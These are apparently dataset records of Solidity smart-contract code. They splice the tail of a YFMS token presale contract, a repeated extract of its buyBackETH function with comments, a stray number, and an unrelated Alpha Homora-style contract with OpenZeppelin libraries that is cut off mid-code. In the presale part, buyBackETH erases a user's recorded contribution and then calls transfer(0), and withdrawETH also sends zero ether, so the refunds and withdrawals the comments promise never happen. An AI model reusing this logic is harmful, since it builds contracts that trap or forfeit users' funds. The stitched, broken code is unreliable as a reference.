_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay3.mul(10)); } else if(now.sub(startDate) > 3 days && now.sub(startDate) <= 4 days) { amount = msg.value.mul(9).div(2); _averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay4.mul(10).div(2)); } else if(now.sub(startDate) > 4 days) { amount = msg.value.mul(4); _averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay5.mul(10)); } require(amount <= YFMSToken.balanceOf(address(this))); // update constants. totalSold = totalSold.add(amount); collectedETH = collectedETH.add(msg.value); // update address contribution + total contributions. _contributions[msg.sender] = _contributions[msg.sender].add(amount); _numberOfContributions[msg.sender] = _numberOfContributions[msg.sender].add(1); // transfer the tokens. YFMSToken.transfer(msg.sender, amount); // check if soft cap is met. if (!softCapMet && collectedETH >= 150 ether) { softCapMet = true; } } function numberOfContributions(address from) public view returns(uint256) { return _numberOfContributions[address(from)]; } function contributions(address from) public view returns(uint256) { return _contributions[address(from)]; } function averagePurchaseRate(address from) public view returns(uint256) { return _averagePurchaseRate[address(from)]; } // if the soft cap isn't met and the presale period ends (7 days) enable // users to buy back their ether. function buyBackETH(address payable from) public { require(now.sub(startDate) > 7 days && !softCapMet); require(_contributions[from] > 0); uint256 exchangeRate = _averagePurchaseRate[from].div(10).div(_numberOfContributions[from]); uint256 contribution = _contributions[from]; // remove funds from users contributions. _contributions[from] = 0; // transfer funds back to user. from.transfer(0); } // Function to withdraw raised ETH (staggered withdrawals) // Only the contract owner can call this function function withdrawETH() public { require(msg.sender == owner && address(this).balance > 0); require(softCapMet == true && presaleClosed == true); uint256 withdrawAmount; // first ether withdrawal (max 500 ETH) if (ethWithdrawals == 0) { if (collectedETH <= 500 ether) { withdrawAmount = collectedETH; } else { withdrawAmount = 500 ether; } } else { // remaining ether withdrawal (max 500 ETH per withdrawal) // staggered in 7 day periods. uint256 currDate = now; // ensure that it has been at least 7 days. require(currDate.sub(lastWithdrawal) >= 7 days); if (collectedETH <= 500 ether) { withdrawAmount = collectedETH; } else { withdrawAmount = 500 ether; } } lastWithdrawal = now; ethWithdrawals = ethWithdrawals.add(1); collectedETH = collectedETH.sub(withdrawAmount); owner.transfer(0); } function endPresale() public { require(msg.sender == owner); presaleClosed = true; } // Function to burn remaining YFMS (sale must be over to call) // Only the contract owner can call this function function burnYFMS() public { require(msg.sender == owner && YFMSToken.balanceOf(address(this)) > 0 && now.sub(startDate) > 7 days); // burn the left over. YFMSToken.transfer(address(0), YFMSToken.balanceOf(address(this))); } //Starts the sale //Only the contract owner can call this function function startSale() public { require(msg.sender == owner && startDate==0); startDate=now; } //Function to query the supply of YFMS in the contract function availableYFMS() public view returns(uint256) { return YFMSToken.balanceOf(address(this)); } }
if the soft cap isn't met and the presale period ends (7 days) enable users to buy back their ether. remove funds from users contributions. transfer funds back to user.
function buyBackETH(address payable from) public { require(now.sub(startDate) > 7 days && !softCapMet); require(_contributions[from] > 0); uint256 exchangeRate = _averagePurchaseRate[from].div(10).div(_numberOfContributions[from]); uint256 contribution = _contributions[from]; _contributions[from] = 0; from.transfer(0); }
1,758,279
/** *Submitted for verification at Etherscan.io on 2021-04-28 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: IERC20Wrapper interface IERC20Wrapper { /// @dev Return the underlying ERC-20 for the given ERC-1155 token id. function getUnderlyingToken(uint id) external view returns (address); /// @dev Return the conversion rate from ERC-1155 to ERC-20, multiplied by 2**112. function getUnderlyingRate(uint id) external view returns (uint); } // Part: IStakingRewards interface IStakingRewards { function rewardPerToken() external view returns (uint); function stake(uint amount) external; function withdraw(uint amount) external; function getReward() external; } // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/[email protected]/IERC165 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/[email protected]/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/[email protected]/ReentrancyGuard /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // Part: HomoraMath library HomoraMath { using SafeMath for uint; function divCeil(uint lhs, uint rhs) internal pure returns (uint) { return lhs.add(rhs).sub(1) / rhs; } function fmul(uint lhs, uint rhs) internal pure returns (uint) { return lhs.mul(rhs) / (2**112); } function fdiv(uint lhs, uint rhs) internal pure returns (uint) { return lhs.mul(2**112) / rhs; } // implementation from https://github.com/Uniswap/uniswap-lib/commit/99f3f28770640ba1bb1ff460ac7c5292fb8291a0 // original implementation: https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint x) internal pure returns (uint) { if (x == 0) return 0; uint xx = x; uint r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint r1 = x / r; return (r < r1 ? r : r1); } } // Part: OpenZeppelin/[email protected]/ERC165 /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // Part: OpenZeppelin/[email protected]/IERC1155 /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // Part: OpenZeppelin/[email protected]/IERC1155Receiver /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // Part: OpenZeppelin/[email protected]/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: OpenZeppelin/[email protected]/IERC1155MetadataURI /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // Part: OpenZeppelin/[email protected]/ERC1155 /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using SafeMath for uint256; using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ constructor (string memory uri_) public { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) external view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for 